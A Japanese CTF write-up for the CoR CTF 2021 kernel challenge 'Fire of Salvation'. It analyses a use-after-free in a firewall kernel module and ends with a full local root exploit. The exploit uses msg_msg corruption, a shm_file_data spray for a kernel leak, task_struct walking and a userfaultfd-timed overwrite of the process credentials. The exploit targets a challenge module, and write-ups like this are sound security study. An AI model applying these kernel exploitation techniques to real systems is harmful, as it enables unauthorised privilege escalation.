TL;DR Link to this heading

  • FGKASLR / SMEP / SMAP / KPTI / static modprobe_path / slab randomized
  • Impl a network module and a misc device to create user defined rule whether specific network packets should be accepted or dropped.
  • The rule structure is placed on kmalloc-4k slab. There is a write-only partial UAF.
  • Leak kernel data symbol by overwriting msg_msg.m_ts with kmalloc-32 slab addr where shm_file_data are sprayed.
  • Leak current process’ task_struct by task walking.
  • Overwrite task_struct.cred with init_cred by overwriting msg_msg.next in load_msg(). The timing is controlled by userfaultfd.

イントロ Link to this heading

いつぞや開催されたCoR CTF 2021のkernel pwn問題のFire of Salvationを解いていく。 本問題は#defineマクロの内容によってEASY/HARDの2種類の難易度として問題が出題されていたらしく、EASYはFire of Salvation、HARDはWall of Perditionという名前になっている。本エントリで解くのは、EASY難易度の方である。

static Link to this heading

lysithea Link to this heading

lysithea.txt
 1Drothea v1.0.0
 2[.] kernel version:
 3        Linux version 5.8.0 (Francoise d'Aubigne@proud_gentoo_user) (gcc (Debian 10.2.0-15) 10.2.0, GNU ld (GNU Binutils for Debian) 2.35.1) #8 SMP Sun July 21 12:00:00 UTC 2021
 4[+] CONFIG_KALLSYMS_ALL is disabled.
 5cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory
 6[!] unprivileged userfaultfd is enabled.
 7[?] KASLR seems enabled. Should turn off for debug purpose.
 8[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
 9Ingrid v1.0.0
10[.] userfaultfd is not disabled.
11[-] CONFIG_DEVMEM is disabled.

FGKASLR/SMEP/SMAP/KPTI/static modprobe_path/slab randomized。uffdは使える。あと珍しい?ことにCONFIG_KALLSYMS_ALLがdisableされている。 厳密には、ご丁寧にkernel configが全部開示されているため見る必要はない。しかも、not strippedなbzImageが配布されている。ちなみにソースコードはGitHubにはアップされていなかったが、author’s writeupの最初の方を読んだ感じ本番では配布されていたようなので、ソースを見て解いた。同ブログによるとdebug symbolつきのvmlinuxを本番で配布したようだが、これはGitHubにもブログにも見つからなかったので、諦めて(?)debug symbol無しで解いた。

module overview Link to this heading

ネットワークパケットをaccept/dropするルールをユーザが決められるようなモジュールと、ルールを編集するためのmiscデバイスが作られている。ルールは以下の構造体で定義され、これはkmalloc-4kスラブに入れられる。

source.c
 1typedef struct
 2{
 3    char iface[16];            // interface name
 4    char name[16];             // rule name
 5    uint32_t ip;               // src/dst IP
 6    uint32_t netmask;          // src/dst IP netmask
 7    uint16_t proto;            // TCP / UDP
 8    uint16_t port;             // src/dst port
 9    uint8_t action;            // accept or drop
10    uint8_t is_duplicated;     // flag which shows this rule is duplicated or not
11    #ifdef EASY_MODE
12    char desc[DESC_MAX];       // rule description
13    #endif
14} rule_t;

全てのメンバはユーザが指定でき、作成後に編集することも可能。しかし、descだけはedit不可のため、実際に編集できるのは先頭0x30 bytesである。ルールはINBOUND/OUTBOUND毎に0x80ずつ作ることができる。

vulnerability Link to this heading

INBOUNDのルールをOUTBOUNDにコピーする(or vice versa)機能がある:

source.c
 1// partially snipped by me
 2static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
 3{
 4    uint8_t i;
 5    rule_t **dup;
 6
 7    dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
 8    for (i = 0; i < MAX_RULES; i++)
 9    {
10        if (dup[i] == NULL)
11        {
12            dup[i] = firewall_rules[idx];
13            firewall_rules[idx]->is_duplicated = 1;
14            return SUCCESS;
15        }
16    }
17    return ERROR;
18}

実装はINBOUNDのルールが入ったrule_t構造体のアドレスを、OUTBOUNDルールの配列に代入しているだけである。一方で、ルールを削除する関数は以下のように実装されている:

source.c
1// partially snipped by me
2static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
3{
4    kfree(firewall_rules[idx]);
5    firewall_rules[idx] = NULL;
6    return SUCCESS;
7}

INBOUND(or OUTBOUND)のルールのうちidxで指定されたものをkfree()し、該当する配列にNULLを入れている。 だが、先程見たようにここでkfreeするrule_t構造体はduplicateされてOUTBOUND側にも入っている可能性がある。すなわち、freeされたオブジェクトにアクセスすることのできるUAFが存在する。 ルールを編集する機能は以下のように実装される:

source.c
 1// partially snipped by me
 2static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
 3{
 4    memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
 5    memcpy(firewall_rules[idx]->name, user_rule.name, 16);
 6    if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
 7    {
 8        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
 9        return ERROR;
10    }
11    
12    if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
13    {
14        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");
15        return ERROR;
16    }
17
18    firewall_rules[idx]->proto = user_rule.proto;
19    firewall_rules[idx]->port = ntohs(user_rule.port);
20    firewall_rules[idx]->action = user_rule.action;
21    return SUCCESS;
22}

つまり、UAFではdescriptionを除くrule_tの先頭0x30 bytes分だけwriteができる。なお、read機能は実装されていない。

FGKASLR Link to this heading

nokaslrにする前の状態でkallsymsを2回ほど見て気づいたが、FGKASLRが有効化されている。これによって、kernellandの各関数はそれぞれが独立したセクションに配置され、各セクションの配置はランダマイズされる。よって、.textシンボルのどれかをleakしたとしてもあまり効果がない。なお、FGKASLR問に関する過去のエントリは以下をチェック:

kernel .data leak Link to this heading

rough plan to leak data Link to this heading

FGKASLRが有効である以上、まずやるべきことは.dataシンボルのleakである。UAFのサイズがkmalloc-4kである、このサイズの有用な構造体というとだいぶ限られてくる。今回はmsg_msgを使うことにした。msg_msgに関しては丁度、前エントリ(nightclub from pbctf2021) でも使ったため、前提知識がない場合はそちらも参考のこと。msg_msgは以下のように定義される:

/include/linux/msg.h
1/* one msg_msg structure for each message */
2struct msg_msg {
3	struct list_head m_list;
4	long m_type;
5	size_t m_ts;		/* message text size */
6	struct msg_msgseg *next;
7	void *security;
8	/* the actual message follows immediately */
9};

m_tsはヘッダを除くメッセージの大きさを、nextはメッセージサイズがDATALEN_MSGに収まらない場合の次のセグメントアドレスを表す。このm_tsを大きな値に書き換えることで、msgrcv()時に本来のメッセージサイズ以上に読み取ることができleakできると考えた。

message unlinking from queue Link to this heading

試しにUAFした領域にmsg_msgを確保し、m_listをNULL、m_tsDATALEN_MSG + 0x300程度に書き換えたところ、以下のようなエラーになった:

NULL pointer derefが起きている。これはdo_msgrcv()における以下の部分が問題である:

/ipc/msg.c
 1// partially snipped by me
 2static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
 3	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
 4{
 5	int mode;
 6	struct msg_queue *msq;
 7	struct ipc_namespace *ns;
 8	struct msg_msg *msg, *copy = NULL;
 9...
10	if (msgflg & MSG_COPY) {
11		if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
12			return -EINVAL;
13		copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
14		if (IS_ERR(copy))
15			return PTR_ERR(copy);
16	}
17	mode = convert_mode(&msgtyp, msgflg);
18...
19	msq = msq_obtain_object_check(ns, msqid);
20...
21	for (;;) {
22		struct msg_receiver msr_d;
23		msg = ERR_PTR(-EACCES);
24...
25		msg = find_msg(msq, &msgtyp, mode);
26		if (!IS_ERR(msg)) {
27			/*
28			 * Found a suitable message.
29			 * Unlink it from the queue.
30			 */
31			if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
32				msg = ERR_PTR(-E2BIG);
33				goto out_unlock0;
34			}
35			/*
36			 * If we are copying, then do not unlink message and do
37			 * not update queue parameters.
38			 */
39			if (msgflg & MSG_COPY) {
40				msg = copy_msg(msg, copy);
41				goto out_unlock0;
42			}
43
44			list_del(&msg->m_list);
45...
46			goto out_unlock0;
47		}
48...
49out_unlock0:
50	ipc_unlock_object(&msq->q_perm);
51	wake_up_q(&wake_q);
52out_unlock1:
53	rcu_read_unlock();
54	if (IS_ERR(msg)) {
55		free_copy(copy);
56		return PTR_ERR(msg);
57	}
58
59	bufsz = msg_handler(buf, msg, bufsz);
60	free_msg(msg);
61
62	return bufsz;
63}

msg_msg.m_listは同一queue内に存在するメッセージを保持する双方向リストであるが、list_del()内でリストからメッセージを削除するためにmsg_msg.m_listがderefされる。今回はm_listをNULLでoverwriteしているためヌルポになってしまう。とはいっても、このUAFでは先頭からsequentialにwriteするしかないため、msg_msgの先頭にあるm_listを書き換えずに残しておくことはできない。 対策としては、コード中にご丁寧に書いてあるようにCOPY_MSGをフラグとして指定してあげると、メッセージの取得時にメッセージはコピーされ、リストから外されない。これだけでm_tsを適当に書き換えてもヌルポは出なくなる。

structure of msg_msg and msg_seg Link to this heading

COPY_MSG(とIPC_NOWAIT)をmsgrcv()時のフラグとして指定してメッセージを読んだときの結果が以下のようになった:

0x55は自分でメッセージとして入れた適当な値であり、それ以外は全く読まれていないことがわかる。これはmsg_msg/msg_segの仕組みを考えれば至ってふつうのコトである。 msgsnd()では以下のようにメッセージが作成される:

ユーザが指定したメッセージを、ヘッダを除いたサイズ(DATALEN_MSG/DATALEN_SEG)毎に分割し、それぞれをslabに置く。msgrcv()ではこれの逆で、msg_msgからnextポインタを辿って指定されたサイズ分だけメッセージを確保する。 先程の例では、nextをNULLクリアしてしまっているため、msg_msg内のデータ(size: DATALEN_MSG)だけ読んだ時点でメッセージの読み込みが終了してしまう。例え大きなm_tsを指定したとしても、nextがNULLの場合にはそれ以上メッセージは読み込まれない。

randomized slab / leak via shm_file_data Link to this heading

というわけで、msgsnd()の際にDATALEN_MSGよりも大きいサイズのメッセージを与えたあと、msg_msgの方をUAF領域に確保する必要がある。この状態でUAFを使ってmsg_msg.m_tsを大きなサイズにすることで、msg_segを読み込む際にOOB readが可能になる。 この段階で気づいたが、SLABのアドレスがランダマイズされていた(実際は、問題分にその旨が書かれていたが気づかなかった)。よって、victimとなる構造体をスプレーしたあとでmsg_segが確保されるようにし、msg_segのすぐ後ろにvictim構造体が確保されることを祈るしか無い。よって、今回使う構造体の条件は「それなりに小さいサイズ」であること(sprayを容易にするため)と、「構造体内に.dataシンボルがあること」の2つとなる。この辺 を探すと、shm_file_dataが使えそうであることがわかる。 なお、この際注意するべきこととして、もともとmsg_msg.nextに入っているアドレス(pointing to msg_seg)は上書きしてはいけない。幸いにも、今回のUAF writeは以下のように実装されている:

source.c
 1// partially snipped by me
 2static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
 3{
 4    memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
 5    memcpy(firewall_rules[idx]->name, user_rule.name, 16);
 6    /** ☆ CAN BE STOPED HERE ☆ **/
 7    if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
 8    {
 9        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
10        return ERROR;
11    }
12    firewall_rules[idx]->proto = user_rule.proto;
13    firewall_rules[idx]->port = ntohs(user_rule.port);
14    firewall_rules[idx]->action = user_rule.action;
15    return SUCCESS;
16}

UAFをした際には、namem_tsが、ipnextが対応しているのだが、in4_pton()がエラーを返すような文字列を敢えて渡すことで、m_tsまでoverwriteした状態で処理を中止させることができる。これで、正規のmsg_segへのポインタnextは保たれたままになる。 そんな感じでUAFでmsg_msg.m_tsを書き換えた後のheapは以下のようになる:

msgrcv()でleakされる値は以下のようになっており、.dataシンボルがleakできていることがわかる:

overwrite cred Link to this heading

msgrcv() internal with MSG_COPY flag Link to this heading

さて、ここまでで.dataがleakできているため、以前(Krazynote from BalsnCTF2019) にも使ったようにtask_struct.credを書き換えることでrootを取りたい。.dataがleakできているため、init_task/init_credのアドレスも既にわかっている。あとはAAWが欲しい。 ここで今度はmsgrcv()のフローを少しだけ詳細に見てみる:

まずload_msg()において、msgsnd()で作られたものとはまた別のmsg_msg/msg_segが確保される。そして、このmsg_msgに対してユーザ指定のバッファ(msgrcv()で指定)から指定したサイズ分だけデータを取ってくる(このユーザランドから持ってくる処理、MSG_COPYに限って言えば全く意味のない処理だと思うんだけど、どうでしょう)。その後、copy_msg()において、msgsnd()で作られたオリジナルのmsg_msgからデータをmemcpy()でコピーしてくる。最後に、do_msg_fill()でユーザ指定のバッファに読んだデータを全部書き戻す。 ここで気になるのは図の③の部分でわざわざオリジナルのmsg_msgからtemporaryなmsg_msg/msg_segへとコピーを行っている:

/ipc/msgutil.c
 1struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
 2{
 3	struct msg_msgseg *dst_pseg, *src_pseg;
 4	size_t len = src->m_ts;
 5	size_t alen;
 6
 7	if (src->m_ts > dst->m_ts)
 8		return ERR_PTR(-EINVAL);
 9
10	alen = min(len, DATALEN_MSG);
11	memcpy(dst + 1, src + 1, alen);
12
13	for (dst_pseg = dst->next, src_pseg = src->next;
14	     src_pseg != NULL;
15	     dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {
16
17		len -= alen;
18		alen = min(len, DATALEN_SEG);
19		memcpy(dst_pseg + 1, src_pseg + 1, alen);
20	}
21
22	dst->m_type = src->m_type;
23	dst->m_ts = src->m_ts;
24
25	return dst;
26}

コードからもわかるとおり、ここでもmsg_msgを読んだ後にnextが指すmsg_segからデータをコピーするフローになっている。

AAW abusing msgrcv copy flow Link to this heading

さて、ここで③の実行前に「temporaryな方」のmsg_msg.nextを任意のアドレスに書き換えることができれば、③のコピー時にオリジナルのmsg_msgの中身を任意のアドレスに書き込むことができると考えられる。コピーに使うのはmemcpy()であり、アドレスのレンジチェック等もない。 どうやって③の前にmsg_msg.nextを書き換えるかだが、①でtemporaryなmsg_msgを確保した後、②でuserlandからのコピーが発生するため、②でuserfaultfdを仕掛けることができる。つまり、予め「次に確保されるslabがUAF領域になる」ような状態を作っておいてからmsgrcv()を呼ぶことでtemporaryなmsg_msgはUAF-writableな状態になるため、②をuffdで止めている間にtemporaryなmsg_msg.nextを書き換えることができる。この時一緒にm_tsも適当に書き換えておくことで、AAWで書き込むサイズも任意に調整することができる。図にすると、以下の感じでAAWになる:

task_struct walk Link to this heading

これでAARもAAWも実現できたため、あとはやるだけゾーン。因みに、配布されたkernel configを見たところmodprobe_pathはstaticになっていたため、task_structcredを書き換える方針で行く。まずAARを使ってinit_tasktasks.prevを辿っていき、epxloitプロセス自身のtaskを見つける。なお、task_struct内のtasksのoffsetを見つけるのが少しめんどくさい(cred自体はinit_taskの中身をinit_credの値でgrepすれば一瞬で分かる)。今回はまず、prctl()task_struct.commをマーキング(0xffff888007526550)し、その値でメモリ上を全探索して自プロセスのtask_structを見つけた後、そのアドレスを3nibbleくらいマスクした値(0xffff888007526)でinit_taskをgrepした。運が良いとinit_task.tasks.nextはexploitプロセスになっているから、これでtasksのoffsetが分かる(運が悪いとswapperとかがリストに入ってくる)。今回はtasksのオフセットが0x298であることがわかった:

あとはinit_taskからtask_struct.tasks.prevを辿ってcommが設定した値になっているtask_structを探せば良い:

full exploit Link to this heading

exploit.c
  1#include "./exploit.h"
  2
  3/*********** commands ******************/
  4
  5#define DEV_PATH "/dev/firewall"   // the path the device is placed
  6#define ADD_RULE 0x1337babe
  7#define DELETE_RULE 0xdeadbabe
  8#define EDIT_RULE 0x1337beef
  9#define SHOW_RULE 0xdeadbeef
 10#define DUP_RULE 0xbaad5aad
 11#define DESC_MAX 0x800
 12
 13// size: kmalloc-4k
 14typedef struct
 15{
 16    char iface[16];
 17    char name[16];
 18    char ip[16];
 19    char netmask[16];
 20    uint8_t idx;
 21    uint8_t type;
 22    uint16_t proto;
 23    uint16_t port;
 24    uint8_t action;
 25    char desc[DESC_MAX];
 26} user_rule_t;
 27
 28// (END commands )
 29
 30/*********** constants ******************/
 31
 32#define ERROR -1
 33#define SUCCESS 0
 34#define MAX_RULES 0x80
 35
 36#define INBOUND 0
 37#define OUTBOUND 1
 38#define SKIP -1
 39
 40scu diff_init_cred_ipc_ns = 0xffffffff81c33060 - 0xffffffff81c3d7a0;
 41scu diff_init_task_ipc_ns = 0xffffffff81c124c0 - 0xffffffff81c3d7a0;
 42
 43#define ADDR_FAULT 0xdead000
 44
 45#define COMM_OFFSET 0x550
 46#define TASKS_PREV_OFFSET 0x2A0
 47#define TASKS_NEXT_OFFSET 0x298
 48#define CRED_OFFSET 0x540
 49#define TASK_OVERBUFSZ DATALEN_MSG + 0x800
 50
 51// (END constants )
 52
 53/*********** globals ******************/
 54
 55int firewall_fd = -1;
 56char *buf_name;
 57char *buf_iface;
 58char *buf_ip;
 59char *buf_netmask;
 60ulong target_task = 0;
 61
 62// (END globals )
 63
 64
 65long firewall_ioctl(long cmd, void *arg) {
 66  assert(firewall_fd != -1);
 67  return ioctl(firewall_fd, cmd, arg);
 68}
 69
 70void add_rule(char *iface, char *name, uint8_t idx, uint8_t type, char *desc) {
 71  user_rule_t rule = {
 72    .idx = idx,
 73    .type = type,
 74    .proto = IPPROTO_TCP,
 75    .port = 0,
 76    .action = NF_DROP,
 77  };
 78  memcpy(rule.iface, iface, 16);
 79  memcpy(rule.name, name, 16);
 80  strcpy(rule.ip, "0.1.2.3");
 81  strcpy(rule.netmask, "0.0.0.0");
 82  memcpy(rule.desc, desc, DESC_MAX);
 83  long result = firewall_ioctl(ADD_RULE, (void*)&rule);
 84  assert(result == SUCCESS);
 85  return;
 86}
 87
 88void dup_rule(uint8_t src_type, uint8_t idx) {
 89  user_rule_t rule = {
 90    .type = src_type,
 91    .idx = idx,
 92  };
 93  long result = firewall_ioctl(DUP_RULE, (void*)&rule);
 94  assert(result == SUCCESS);
 95  return;
 96}
 97
 98void delete_rule(uint8_t type, uint8_t idx) {
 99  user_rule_t rule = {
100    .type = type,
101    .idx = idx,
102  };
103  long result = firewall_ioctl(DELETE_RULE, &rule);
104  assert(result == SUCCESS);
105  return;
106}
107
108long edit_rule(char *iface, char *name, uint8_t idx, uint8_t type, char *ip, char *netmask, ulong port) {
109  user_rule_t rule = {
110    .type = type,
111    .idx = idx,
112    .proto = IPPROTO_TCP,
113    .port = port,
114    .action = NF_ACCEPT,
115  };
116  memcpy(rule.iface, iface, 16);
117  memcpy(rule.name, name, 16);
118  if (ip == NULL ) strcpy(rule.ip, "0.0.0.0");
119  else strcpy(rule.ip, ip);
120  if (netmask == NULL) strcpy(rule.netmask, "0.0.0.0");
121  else strcpy(rule.netmask, netmask);
122  return firewall_ioctl(EDIT_RULE, &rule);
123}
124
125void edit_rule_preserve(char *iface, char *name, uint8_t idx, uint8_t type) {
126  char *ip_buf = calloc(0x20, 1);
127  strcpy(ip_buf, "NIRUGIRI\x00");
128  assert(edit_rule(iface, name, idx, type, ip_buf, NULL, 0) == ERROR);
129}
130
131char *ntop(uint32_t v) {
132  char *s = calloc(1, 0x30);
133  unsigned char v0 = (v >> 24) & 0xFF;
134  unsigned char v1 = (v >> 16) & 0xFF;
135  unsigned char v2 = (v >> 8) & 0xFF;
136  unsigned char v3 = v & 0xFF;
137  sprintf(s, "%d.%d.%d.%d", v3, v2, v1, v0);
138  return s;
139}
140
141void handle_fault(ulong arg) {
142  const ulong target = target_task + CRED_OFFSET - 8 - 8;
143  printf("[+] overwriting temp msg_msg.next with 0x%lx\n", target);
144  memset(buf_iface, 0, 0x10); // m_list
145  ((long*)buf_name)[0] = 1; // m_type
146  ((long*)buf_name)[1] = DATALEN_MSG + 0x10 + 8; // m_ts
147  strcpy(buf_ip, ntop(target)); // next & 0xFFFFFFFF
148  strcpy(buf_netmask, ntop(target>> 32)); // next & (0xFFFFFFFF << 32)
149  edit_rule(buf_iface, buf_name, 1, OUTBOUND, buf_ip, buf_netmask, 0);
150}
151
152struct msg4k {
153  long mtype;
154  char mtext[PAGE - 0x30];
155};
156
157int main(int argc, char *argv[]) {
158  puts("[ ] Hello, world.");
159  firewall_fd = open(DEV_PATH, O_RDWR);
160  assert(firewall_fd >= 2);
161
162  // alloc some buffers
163  char *buf_1p = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
164  char *buf_cpysrc = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
165  char *buf_big = mmap(0, PAGE * 3, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
166  assert(buf_1p != MAP_FAILED && buf_big != MAP_FAILED);
167  memset(buf_1p, 'A', PAGE);
168  memset(buf_big, 0, PAGE * 3);
169  buf_name = calloc(1, 0x30);
170  buf_iface = calloc(1, 0x30);
171  buf_ip = calloc(1, 0x30);
172  buf_netmask = calloc(1, 0x30);
173
174  // heap cleaning
175  puts("[.] cleaning heap...");
176  #define CLEAN_N 10
177  for (int ix = 0; ix != CLEAN_N; ++ix) {
178    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
179    struct msg4k cleaning_msg = { .mtype = 1 };
180    memset(cleaning_msg.mtext, 'B', PAGE - 0x30);
181    KMALLOC(qid, cleaning_msg, 1);
182  }
183
184  // allocate sample rules
185  puts("[.] allocating sample rules...");
186  #define FIRST_N 30
187  for (int ix = 0; ix != CLEAN_N; ++ix) {
188    add_rule(buf_iface, buf_name, ix, INBOUND, buf_1p);
189  }
190
191  // dup rule 1
192  puts("[.] dup rule 1...");
193  dup_rule(INBOUND, 1);
194
195  // delete INBOUND rule 1
196  puts("[.] deleting inbound 1...");
197  delete_rule(INBOUND, 1);
198
199  // spray `shm_file_data` on kmalloc-32
200  #define SFDN 0x50
201  rep(ix, SFDN) {
202    int shmid = shmget(IPC_PRIVATE, PAGE, 0600);
203    assert(shmid >= 0);
204    void *addr = shmat(shmid, NULL, 0);
205    assert((long)addr >= 0);
206  }
207
208  // allocate msg_msg on 4k & 32 heap (UAF)
209  puts("[.] allocating msg_msg for UAF...");
210  int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
211  struct msg4k uaf_msg = { .mtype = 1 };
212  memset(uaf_msg.mtext, 'U', PAGE - 0x30);
213  assert(msgsnd(qid, &uaf_msg, DATALEN_MSG + 0x20 - 0x8, MSG_COPY | IPC_NOWAIT) == 0);
214
215  // use UAF write to overwrite msg_msg.m_ts
216  puts("[+] overwriting msg_msg by UAF.");
217  #define OVERBUFSZ DATALEN_MSG + 0x300
218  memset(buf_iface, 0, 0x10); // m_list
219  ((long*)buf_name)[0] = 1; // m_type
220  ((long*)buf_name)[1] = OVERBUFSZ; // m_ts
221  edit_rule_preserve(buf_iface, buf_name, 0, OUTBOUND);
222
223  errno = 0;
224  // receive msg_msg to leak kern data.
225  puts("[+] receiving msg...");
226  assert(qid >= 0 && PAGE >= 0);
227  memset(buf_big, 0, PAGE * 3);
228  ulong tmp;
229  if ((tmp = msgrcv(qid, buf_big, PAGE * 2, 0, MSG_COPY | IPC_NOWAIT | MSG_NOERROR)) <= 0) { // SEARCH_ANY
230    errExit("msgrcv");
231  }
232  printf("[+] received 0x%lx size of msg.\n", tmp);
233  //print_curious(buf_big + DATALEN_MSG, 0x300, 0);
234  const ulong init_ipc_ns = *(ulong*)(buf_big + DATALEN_MSG + 0x5 * 8);
235  const ulong init_cred = diff_init_cred_ipc_ns + init_ipc_ns;
236  const ulong init_task = diff_init_task_ipc_ns + init_ipc_ns;
237  if (init_ipc_ns == 0) { puts("[+] failed to leak init_ipc_ns."); exit(1);};
238  printf("[!] init_ipc_ns: 0x%lx\n", init_ipc_ns);
239  printf("[!] init_cred: 0x%lx\n", init_cred);
240  printf("[!] init_task: 0x%lx\n", init_task);
241
242  // task walk
243  puts("[+] starting task_struct walking...");
244  char *new_name = "NirugiriSummer";
245  assert(strlen(new_name) < 0x10);
246  assert(prctl(PR_SET_NAME, new_name) != -1);
247  #define TASK_WALK_LIM 0x20
248  ulong searching_task = init_task - 8;
249  rep(ix, TASK_WALK_LIM) {
250    if (target_task != 0) break;
251    printf("[.] target addr: 0x%lx: ", searching_task);
252    // overwrite `msg_msg.next`
253    memset(buf_iface, 0, 0x10); // m_list
254    ((long*)buf_name)[0] = 1; // m_type
255    ((long*)buf_name)[1] = TASK_OVERBUFSZ; // m_ts
256    strcpy(buf_ip, ntop(searching_task)); // next & 0xFFFFFFFF
257    strcpy(buf_netmask, ntop(searching_task>> 32)); // next & (0xFFFFFFFF << 32)
258    edit_rule(buf_iface, buf_name, 0, OUTBOUND, buf_ip, buf_netmask, 0);
259
260    // leak `task_struct.comm`
261    memset(buf_big, 0, PAGE * 2);
262    if ((tmp = msgrcv(qid, buf_big, PAGE * 2, 0, MSG_COPY | IPC_NOWAIT | MSG_NOERROR)) <= 0) { // SEARCH_ANY
263      errExit("msgrcv");
264    }
265    if (strncmp(buf_big + (DATALEN_MSG + 8) + COMM_OFFSET, new_name, 0x10)) {
266      printf("Not exploit task (name: %s)\n", (buf_big + (DATALEN_MSG + 8) + COMM_OFFSET));
267      //print_curious(buf_big + (DATALEN_MSG + 8), 0x500, 0);
268      searching_task = *(ulong*)(buf_big + (DATALEN_MSG + 8) + TASKS_PREV_OFFSET) - TASKS_NEXT_OFFSET - 8;
269    } else {
270      puts(": FOUND!");
271      target_task = searching_task + 8;
272      break;
273    }
274  }
275  if (target_task == 0) {
276    puts("[-] failed to find target task...");
277    return 1;
278  }
279  printf("[!] current task @ 0x%lx\n", target_task);
280
281  /***********************************************/
282
283  // heap cleaning
284  puts("[.] cleaning heap...");
285  for (int ix = 0; ix != CLEAN_N; ++ix) {
286    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
287    struct msg4k cleaning_msg = { .mtype = 1 };
288    memset(cleaning_msg.mtext, 'E', PAGE - 0x30);
289    KMALLOC(qid, cleaning_msg, 1);
290  }
291
292  // allocate sample rules
293  puts("[.] allocating sample rules...");
294  #define SECOND_N 10
295  memset(buf_name, 'F', 0x10);
296  memset(buf_iface, 'G', 0x10);
297  for (int ix = 0; ix != CLEAN_N; ++ix) {
298    add_rule(buf_iface, buf_name, FIRST_N + ix, INBOUND, buf_1p);
299  }
300
301  // dup rule 1
302  puts("[.] dup rule S1...");
303  dup_rule(INBOUND, FIRST_N + 1);
304
305  // delete INBOUND rule 1
306  puts("[.] deleting inbound S1...");
307  delete_rule(INBOUND, FIRST_N + 1);
308
309  // prepare uffd
310  puts("[.] preparing uffd");
311  struct skb_uffder *uffder = new_skb_uffder(ADDR_FAULT, 1, buf_cpysrc, handle_fault, "msg_msg_watcher", UFFDIO_REGISTER_MODE_MISSING);
312  assert(uffder != NULL);
313  memset(buf_cpysrc, 'G', DATALEN_MSG);
314  ((ulong*)(buf_cpysrc + DATALEN_MSG))[0] = init_cred;
315  ((ulong*)(buf_cpysrc + DATALEN_MSG))[1] = init_cred;
316  puts("[.] waiting uffder starts...");
317  usleep(500);
318  skb_uffd_start(uffder, NULL);
319
320  // allocate temp `msg_msg` on UAFed slab
321  puts("[.] allocating temp msg_msg on UAFed slab.");
322  if ((tmp = msgrcv(qid, ADDR_FAULT, PAGE, 0, MSG_COPY | IPC_NOWAIT | MSG_NOERROR)) <= 0) { // SEARCH_ANY
323    errExit("msgrcv");
324  }
325
326  // end of life
327  int uid = getuid();
328  if (uid != 0) {
329    printf("[-] Failed to get root...");
330    exit(1);
331  } else {
332    puts("\n\n\n[+] HERE IS YOUR NIRUGIRI");
333    NIRUGIRI();
334  }
335  puts("[ ] END of life...");
336}

アウトロ Link to this heading

成功率はshm_file_dataのspray成功率が強く影響していて、まぁ70%くらいです、多分。すごく良い問題だったと思います。次はこれのHARDバージョンらしい、Wall of Perditionを解こうと思います。 あとHORIZONの新作買いました。やるのが楽しみです。

References Link to this heading